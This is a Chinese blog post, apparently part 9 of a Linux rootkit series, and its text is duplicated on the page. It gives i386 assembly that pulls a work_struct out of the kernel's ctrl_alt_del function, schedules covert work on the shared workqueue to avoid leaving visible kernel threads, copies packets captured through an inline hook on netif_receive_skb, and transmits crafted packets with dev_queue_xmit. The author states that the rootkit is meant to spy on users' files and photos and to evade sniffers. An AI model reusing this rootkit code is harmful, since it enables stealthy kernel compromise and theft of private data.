rookit for linux 9.发送skb---使用工作队列
2008-11-15 17:35
477 查看
搞了一天,终于能发送skb了。不是这东西难搞,是汇编底子还是不行啊,大错不犯小错不断。这一个小错,那个一小错,一个小错调一个小时,一下一天就过去了。
虽然调试的时候很恼火,不过还是乐此不疲地写着汇编。就像一句名言说过“世界上有两类语言,有一些语言天天被人骂,有一些语言没有人用”。汇编就是属于这类语言。
好了,回忆一下上次是怎么接收skb的?对了,inline hook 了netif_receive_skb。那我们在 inline hook 中的代码也是跟 netif_receive_skb 一个上下文的-----软中断。这个软中断有啥问题呢?没错,问题可大了,软中断里的操作是原子的,不能调度,不能睡眠,不能停留太长时间。
但我们的rootkit是不愿意接受这个现实的,我们要进行的操作可多了,要读文件,写文件,还要偷窥别人照片。这些操作里必然有调度,睡眠。
咋的办?《linux 设备驱动程序》给出了答案---工作队列。工作队列的上下文是符合我们的rootkit的要求的。
对比了下代码,2.6.18 ~ 2.6.24 间 work_struct 这个数据结构发生了剧烈变化。在c语言里,用一个宏 DECLARE_WORK 就能声明一个工作队列。
这可苦了我们写汇编的,多少个版本啊,我们能一个一个地支持吗?当然不能,那是sb的想法。
我们的处理方法也是利用大杀器来做。
我们注意到一个角落里的函数 ctrl_alt_del 。看这函数的名字就知道它是几百年都不会被调用一次的函数了。
void ctrl_alt_del(void)
{
static DECLARE_WORK(cad_work, deferred_cad);
if (C_A_D)
schedule_work(&cad_work);
else
kill_cad_pid(SIGINT, 1);
}
关键不是这个,关键是它的开头有一个初始化好了的 work_struct 结构,我们直接把它复制到我们自己的缓冲区了就能用了。
反汇编看看:
0: a1 f0 a5 34 c0 mov 0xc034a5f0,%eax
5: 85 c0 test %eax,%eax
7: 74 0a je 0x13
9: b8 9c a6 34 c0 mov $0xc034a69c,%eax
e: e9 5d 2d 00 00 jmp 0x2d70
13: a1 44 4b 3c c0 mov 0xc03c4b44,%eax
18: b9 01 00 00 00 mov $0x1,%ecx
1d: ba 02 00 00 00 mov $0x2,%edx
22: e9 19 dd ff ff jmp 0xffffdd40
27: 89 f6 mov %esi,%esi
29: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
第九行就是把 cad_work 这个参数传给 schedule_work 。然后调用schedule_work 。
我们直接用大杀器搜索操作码为 0xb8 的第一条指令就是了。
搜到以后把 cad_work 复制到我们自己的缓冲区里。
处理两个细节:
1.把 work_struct.entry 这个 list_head 设为空。搜索整个数据结构里内容等于地址的字段就行了,linux里的链表就是这样。
2.找到 work_struct.func 这个字段的偏移。只要搜索整个数据结构里内容等于deferred_cad的地址的字段就行了。
搞到这个 work_struct 之后,我们就能使用自己的工作队列了。使用的时候只需要把 work_struct.func 字段设为自己的函数的地址。然后调用 schedule_work 即可。
schedule_work 这个函数呢,是把参数 work_struct 挂在keventd_wq这个内核共享的工作队列里执行。
有人说“为啥我们不自己创建一个工作队列呢?”不行,工作队列的是用内核线程来实现的。而创建一个工作队列时,同时会创建 n 个内核线程,n 就等于你的cpu数量。而内核线程,在 bash 上用 ps -aux 这命令就能看到。你这样就是在捅马蜂窝啊!
所以解决了这些细节问题。我们就可以这样做了:
在接收到数据包的时候,把数据包的内容复到新申请的缓冲区里,然后调用 schedule_work 把发包的函数挂在共享的队列里,等待被执行。
怎么发包呢?
最终,网络层的函数会调用 dev_queue_xmit 这个函数发包。这个函数的内部可复杂了,一下lock一下unlock,还调用qdisc啥的。所以我们还是直接调用它算了。要注意的是,这个函数里会把 skb 克隆给 ptypes_all 上的嗅探器,每人一份。不过我们不怕,如果有嗅探器,我们早就把它hook了,如果没有,那就算了。
直接调用dev_queue_xmit这方法不是最好的,不过我尝试了直接调用 net_device->dev_hard_start_xmit 发包,结果不行。可能是没有解决同步的问题。
所以我们现在可以发包了!
贴代码贴代码
处理 work_struct 部分:
struct_work_struct: .fill 0x100
work_struct.func: .fill 4
schedule_work: .fill 4
// void kthread_init();
kthread_init:
#define retcode 0xc
PUSH_ALL
subl $0x10, %esp
movl $0, retcode(%esp)
GET_STR("schedule_work", %eax)
movl $13, %edx
call ksym_lookup
testl %eax, %eax
jz kthread_init_out_failed
GET_ADDR(schedule_work, %edx)
movl %eax, (%edx)
GET_STR("ctrl_alt_del", %eax)
movl $12, %edx
call ksym_lookup
testl %eax, %eax
jz kthread_init_out_failed
movl %eax, %esi
leal 0x100(%esi), %edi
1: movl %esi, %eax
GET_ADDR(struct_dism, %edx)
call xde_dism
testl %eax, %eax
jz kthread_init_out_failed
movl %eax, %ebp
movb dism_opcode(%edx), %al
cmpb $0xb8, %al
jz 3f
addl %ebp, %esi
cmpl %edi, %esi
jl 1b
3: movl 1(%esi), %esi
movl %esi, %ebp
GET_ADDR(struct_work_struct, %edi)
movl $0x100, %ecx
cld; rep movsb
GET_STR("deferred_cad", %eax)
movl $12, %edx
call ksym_lookup
testl %eax, %eax
jz kthread_init_out_failed
GET_ADDR(struct_work_struct, %esi)
movl $0x100, %ecx
4: cmpl %eax, (%esi)
jz 5f
cmpl %ebp, (%esi)
jnz 6f
movl %esi, (%esi)
movl %esi, 4(%esi)
6: incl %esi
incl %ebp
loop 4b
jmp kthread_init_out_failed
5: GET_ADDR(struct_work_struct, %edi)
subl %edi, %esi
GET_ADDR(work_struct.func, %eax)
movl %esi, (%eax)
#ifdef _DEBUG_
movl %edi, 4(%esp)
movl %esi, 8(%esp)
DPRINT("<3>struct_work_struct %lx; work_struct.func %lx/n")
#endif
2:
kthread_init_out:
movl retcode(%esp), %eax
addl $0x10, %esp
POP_ALL
ret
kthread_init_out_failed:
movl $1, retcode(%esp)
jmp kthread_init_out
#undef retcode
接收skb部分:
// data_recv = __kmalloc(skb->len + 8, GFP_ATOMIC);
GET_STRUCT_VAL32(%esi, sk_buff.len, %ecx)
movl %ecx, %edi
leal 8(%ecx), %eax
movl $0x20, %edx
GET_VAL32(__kmalloc, %ebp)
call *%ebp
testl %eax, %eax
jz his_out
movl %eax, %ebx
SET_VAL32(data_recv, %ebx)
// put skb->len, skb->dev at the begining of data_recv
movl %edi, (%ebx)
GET_STRUCT_VAL32(%esi, sk_buff.dev, %eax)
movl %eax, 4(%ebx)
// memcpy(data_recv + 8, skb->data - 14, skb->len);
movl %edi, %ecx
leal 8(%ebx), %edi
GET_STRUCT_VAL32(%esi, sk_buff.data, %ebx)
leal -14(%ebx), %esi
cld; rep movsb
// struct_work_struct.func = thread_recv;
GET_ADDR(thread_recv, %ebx)
GET_ADDR(struct_work_struct, %ecx)
SET_STRUCT_VAL32(%ecx, work_struct.func, %ebx)
// schedule_work(struct_work_struct);
GET_VAL32(schedule_work, %ebp)
movl %ecx, %eax
call *%ebp
发送skb部分:
// void thread_recv(void *data_recv);
thread_recv:
PUSH_ALL
subl $0x10, %esp
#ifdef _DEBUG_
DPRINT("<3>our pack/n")
#endif
// skb = __netdev_alloc_skb(dev, 123, GFP_ATOMIC);
GET_VAL32(data_recv, %eax)
leal 0x8(%eax), %edi
movl $123, %edx
movl 4(%eax), %eax
movl $0x20, %ecx
GET_VAL32(__netdev_alloc_skb, %ebp)
call *%ebp
testl %eax, %eax
jz thread_recv_out
movl %eax, %esi
// skb->len = 123;
SET_STRUCT_VAL32(%esi, sk_buff.len, $123)
// skb->tail = skb->end;
GET_STRUCT_VAL32(%esi, sk_buff.end, %ebx)
SET_STRUCT_VAL32(%esi, sk_buff.tail, %ebx)
// memcpy(skb->data, data_recv + 0x8 + 6, 6);
GET_STRUCT_VAL32(%esi, sk_buff.data, %eax)
movl 6(%edi), %ebx
movw 10(%edi), %cx
movl %ebx, (%eax)
movw %cx, 4(%eax)
// memcpy(skb->data + 6, data_recv + 0x8, 6);
movl (%edi), %ebx
movw 4(%edi), %cx
movl %ebx, 6(%eax)
movw %cx, 10(%eax)
// memcpy(skb->data + 14, "/x12/x34/x56/x78", 4);
movl $0x12345678, 14(%eax)
// dev_queue_xmit(skb);
GET_VAL32(dev_queue_xmit, %ebp)
movl %esi, %eax
call *%ebp
#ifdef _DEBUG_
movl %eax, 4(%esp)
DPRINT("<3>sent %lx/n")
#endif
thread_recv_out:
addl $0x10, %esp
POP_ALL
ret
新定义的宏:
#define EXPORT_LABEL(label) /
.globl label; label:
#define GET_ADDR(label, reg) /
call 999f; /
999: popl reg; /
subl $(999b - label), reg
#define GET_VAL32(label, reg) /
GET_ADDR(label, reg); /
movl (reg), reg;
#define SET_VAL32(label, val) /
GET_ADDR(label, %eax); /
movl val, (%eax);
#define GET_STR(str, reg) /
call 1111f; /
.asciz str; /
1111: popl reg
#define DPRINT(fmt) /
GET_ADDR(printk, %eax); /
movl (%eax), %eax; /
GET_STR(fmt, %edx); /
movl %edx, (%esp); /
call *%eax;
#define GET_STRUCT_VAL32(base, offset, reg) /
GET_VAL32(offset, reg); /
movl 0(base, reg, 1), reg;
#define SET_STRUCT_VAL32(base, offset, val) /
GET_VAL32(offset, %eax); /
movl val, 0(base, %eax, 1);
#define PUSH_ALL /
pushl %ebx; /
pushl %ecx; /
pushl %edx; /
pushl %esi; /
pushl %edi; /
pushl %ebp;
#define POP_ALL /
popl %ebp; /
popl %edi; /
popl %esi; /
popl %edx; /
popl %ecx; /
popl %ebx;
看看效果!
虽然调试的时候很恼火,不过还是乐此不疲地写着汇编。就像一句名言说过“世界上有两类语言,有一些语言天天被人骂,有一些语言没有人用”。汇编就是属于这类语言。
好了,回忆一下上次是怎么接收skb的?对了,inline hook 了netif_receive_skb。那我们在 inline hook 中的代码也是跟 netif_receive_skb 一个上下文的-----软中断。这个软中断有啥问题呢?没错,问题可大了,软中断里的操作是原子的,不能调度,不能睡眠,不能停留太长时间。
但我们的rootkit是不愿意接受这个现实的,我们要进行的操作可多了,要读文件,写文件,还要偷窥别人照片。这些操作里必然有调度,睡眠。
咋的办?《linux 设备驱动程序》给出了答案---工作队列。工作队列的上下文是符合我们的rootkit的要求的。
对比了下代码,2.6.18 ~ 2.6.24 间 work_struct 这个数据结构发生了剧烈变化。在c语言里,用一个宏 DECLARE_WORK 就能声明一个工作队列。
这可苦了我们写汇编的,多少个版本啊,我们能一个一个地支持吗?当然不能,那是sb的想法。
我们的处理方法也是利用大杀器来做。
我们注意到一个角落里的函数 ctrl_alt_del 。看这函数的名字就知道它是几百年都不会被调用一次的函数了。
void ctrl_alt_del(void)
{
static DECLARE_WORK(cad_work, deferred_cad);
if (C_A_D)
schedule_work(&cad_work);
else
kill_cad_pid(SIGINT, 1);
}
关键不是这个,关键是它的开头有一个初始化好了的 work_struct 结构,我们直接把它复制到我们自己的缓冲区了就能用了。
反汇编看看:
0: a1 f0 a5 34 c0 mov 0xc034a5f0,%eax
5: 85 c0 test %eax,%eax
7: 74 0a je 0x13
9: b8 9c a6 34 c0 mov $0xc034a69c,%eax
e: e9 5d 2d 00 00 jmp 0x2d70
13: a1 44 4b 3c c0 mov 0xc03c4b44,%eax
18: b9 01 00 00 00 mov $0x1,%ecx
1d: ba 02 00 00 00 mov $0x2,%edx
22: e9 19 dd ff ff jmp 0xffffdd40
27: 89 f6 mov %esi,%esi
29: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
第九行就是把 cad_work 这个参数传给 schedule_work 。然后调用schedule_work 。
我们直接用大杀器搜索操作码为 0xb8 的第一条指令就是了。
搜到以后把 cad_work 复制到我们自己的缓冲区里。
处理两个细节:
1.把 work_struct.entry 这个 list_head 设为空。搜索整个数据结构里内容等于地址的字段就行了,linux里的链表就是这样。
2.找到 work_struct.func 这个字段的偏移。只要搜索整个数据结构里内容等于deferred_cad的地址的字段就行了。
搞到这个 work_struct 之后,我们就能使用自己的工作队列了。使用的时候只需要把 work_struct.func 字段设为自己的函数的地址。然后调用 schedule_work 即可。
schedule_work 这个函数呢,是把参数 work_struct 挂在keventd_wq这个内核共享的工作队列里执行。
有人说“为啥我们不自己创建一个工作队列呢?”不行,工作队列的是用内核线程来实现的。而创建一个工作队列时,同时会创建 n 个内核线程,n 就等于你的cpu数量。而内核线程,在 bash 上用 ps -aux 这命令就能看到。你这样就是在捅马蜂窝啊!
所以解决了这些细节问题。我们就可以这样做了:
在接收到数据包的时候,把数据包的内容复到新申请的缓冲区里,然后调用 schedule_work 把发包的函数挂在共享的队列里,等待被执行。
怎么发包呢?
最终,网络层的函数会调用 dev_queue_xmit 这个函数发包。这个函数的内部可复杂了,一下lock一下unlock,还调用qdisc啥的。所以我们还是直接调用它算了。要注意的是,这个函数里会把 skb 克隆给 ptypes_all 上的嗅探器,每人一份。不过我们不怕,如果有嗅探器,我们早就把它hook了,如果没有,那就算了。
直接调用dev_queue_xmit这方法不是最好的,不过我尝试了直接调用 net_device->dev_hard_start_xmit 发包,结果不行。可能是没有解决同步的问题。
所以我们现在可以发包了!
贴代码贴代码
处理 work_struct 部分:
struct_work_struct: .fill 0x100
work_struct.func: .fill 4
schedule_work: .fill 4
// void kthread_init();
kthread_init:
#define retcode 0xc
PUSH_ALL
subl $0x10, %esp
movl $0, retcode(%esp)
GET_STR("schedule_work", %eax)
movl $13, %edx
call ksym_lookup
testl %eax, %eax
jz kthread_init_out_failed
GET_ADDR(schedule_work, %edx)
movl %eax, (%edx)
GET_STR("ctrl_alt_del", %eax)
movl $12, %edx
call ksym_lookup
testl %eax, %eax
jz kthread_init_out_failed
movl %eax, %esi
leal 0x100(%esi), %edi
1: movl %esi, %eax
GET_ADDR(struct_dism, %edx)
call xde_dism
testl %eax, %eax
jz kthread_init_out_failed
movl %eax, %ebp
movb dism_opcode(%edx), %al
cmpb $0xb8, %al
jz 3f
addl %ebp, %esi
cmpl %edi, %esi
jl 1b
3: movl 1(%esi), %esi
movl %esi, %ebp
GET_ADDR(struct_work_struct, %edi)
movl $0x100, %ecx
cld; rep movsb
GET_STR("deferred_cad", %eax)
movl $12, %edx
call ksym_lookup
testl %eax, %eax
jz kthread_init_out_failed
GET_ADDR(struct_work_struct, %esi)
movl $0x100, %ecx
4: cmpl %eax, (%esi)
jz 5f
cmpl %ebp, (%esi)
jnz 6f
movl %esi, (%esi)
movl %esi, 4(%esi)
6: incl %esi
incl %ebp
loop 4b
jmp kthread_init_out_failed
5: GET_ADDR(struct_work_struct, %edi)
subl %edi, %esi
GET_ADDR(work_struct.func, %eax)
movl %esi, (%eax)
#ifdef _DEBUG_
movl %edi, 4(%esp)
movl %esi, 8(%esp)
DPRINT("<3>struct_work_struct %lx; work_struct.func %lx/n")
#endif
2:
kthread_init_out:
movl retcode(%esp), %eax
addl $0x10, %esp
POP_ALL
ret
kthread_init_out_failed:
movl $1, retcode(%esp)
jmp kthread_init_out
#undef retcode
接收skb部分:
// data_recv = __kmalloc(skb->len + 8, GFP_ATOMIC);
GET_STRUCT_VAL32(%esi, sk_buff.len, %ecx)
movl %ecx, %edi
leal 8(%ecx), %eax
movl $0x20, %edx
GET_VAL32(__kmalloc, %ebp)
call *%ebp
testl %eax, %eax
jz his_out
movl %eax, %ebx
SET_VAL32(data_recv, %ebx)
// put skb->len, skb->dev at the begining of data_recv
movl %edi, (%ebx)
GET_STRUCT_VAL32(%esi, sk_buff.dev, %eax)
movl %eax, 4(%ebx)
// memcpy(data_recv + 8, skb->data - 14, skb->len);
movl %edi, %ecx
leal 8(%ebx), %edi
GET_STRUCT_VAL32(%esi, sk_buff.data, %ebx)
leal -14(%ebx), %esi
cld; rep movsb
// struct_work_struct.func = thread_recv;
GET_ADDR(thread_recv, %ebx)
GET_ADDR(struct_work_struct, %ecx)
SET_STRUCT_VAL32(%ecx, work_struct.func, %ebx)
// schedule_work(struct_work_struct);
GET_VAL32(schedule_work, %ebp)
movl %ecx, %eax
call *%ebp
发送skb部分:
// void thread_recv(void *data_recv);
thread_recv:
PUSH_ALL
subl $0x10, %esp
#ifdef _DEBUG_
DPRINT("<3>our pack/n")
#endif
// skb = __netdev_alloc_skb(dev, 123, GFP_ATOMIC);
GET_VAL32(data_recv, %eax)
leal 0x8(%eax), %edi
movl $123, %edx
movl 4(%eax), %eax
movl $0x20, %ecx
GET_VAL32(__netdev_alloc_skb, %ebp)
call *%ebp
testl %eax, %eax
jz thread_recv_out
movl %eax, %esi
// skb->len = 123;
SET_STRUCT_VAL32(%esi, sk_buff.len, $123)
// skb->tail = skb->end;
GET_STRUCT_VAL32(%esi, sk_buff.end, %ebx)
SET_STRUCT_VAL32(%esi, sk_buff.tail, %ebx)
// memcpy(skb->data, data_recv + 0x8 + 6, 6);
GET_STRUCT_VAL32(%esi, sk_buff.data, %eax)
movl 6(%edi), %ebx
movw 10(%edi), %cx
movl %ebx, (%eax)
movw %cx, 4(%eax)
// memcpy(skb->data + 6, data_recv + 0x8, 6);
movl (%edi), %ebx
movw 4(%edi), %cx
movl %ebx, 6(%eax)
movw %cx, 10(%eax)
// memcpy(skb->data + 14, "/x12/x34/x56/x78", 4);
movl $0x12345678, 14(%eax)
// dev_queue_xmit(skb);
GET_VAL32(dev_queue_xmit, %ebp)
movl %esi, %eax
call *%ebp
#ifdef _DEBUG_
movl %eax, 4(%esp)
DPRINT("<3>sent %lx/n")
#endif
thread_recv_out:
addl $0x10, %esp
POP_ALL
ret
新定义的宏:
#define EXPORT_LABEL(label) /
.globl label; label:
#define GET_ADDR(label, reg) /
call 999f; /
999: popl reg; /
subl $(999b - label), reg
#define GET_VAL32(label, reg) /
GET_ADDR(label, reg); /
movl (reg), reg;
#define SET_VAL32(label, val) /
GET_ADDR(label, %eax); /
movl val, (%eax);
#define GET_STR(str, reg) /
call 1111f; /
.asciz str; /
1111: popl reg
#define DPRINT(fmt) /
GET_ADDR(printk, %eax); /
movl (%eax), %eax; /
GET_STR(fmt, %edx); /
movl %edx, (%esp); /
call *%eax;
#define GET_STRUCT_VAL32(base, offset, reg) /
GET_VAL32(offset, reg); /
movl 0(base, reg, 1), reg;
#define SET_STRUCT_VAL32(base, offset, val) /
GET_VAL32(offset, %eax); /
movl val, 0(base, %eax, 1);
#define PUSH_ALL /
pushl %ebx; /
pushl %ecx; /
pushl %edx; /
pushl %esi; /
pushl %edi; /
pushl %ebp;
#define POP_ALL /
popl %ebp; /
popl %edi; /
popl %esi; /
popl %edx; /
popl %ecx; /
popl %ebx;
看看效果!
相关文章推荐
- Linux work queue工作队列小结与使用
- 如何使用Linux工作队列workqueue
- linux驱动学习之工作队列使用
- Linux工作队列的使用
- linux驱动开发之输入子系统编程(一)使用工作队列实现中断下半部
- Linux工作队列的使用
- Linux消息队列的使用:实现server和client相互发送消息
- linux work queue工作队列小结与使用
- 在内核中使用线程与skb队列发送数据
- Linux 驱动中工作队列的使用
- linux 工作队列的使用
- linux 工作队列的使用
- Linux下使用mail命令发送邮件
- Linux系统下使用mail发送一封简单的Internet邮件【以及验证邮件是否发送成功sendmail -bp,必须是root用户才可以使用此命令查看邮件消息队列中的内容】
- Linux中的工作队列[转]
- linux工作队列
- Linux下使用Shell脚本改变当前工作路径
- linux下使用curl来 发送http请求
- Linux下使用mail命令发送邮件
- 内核的 工作队列 使用方法,struct work_struct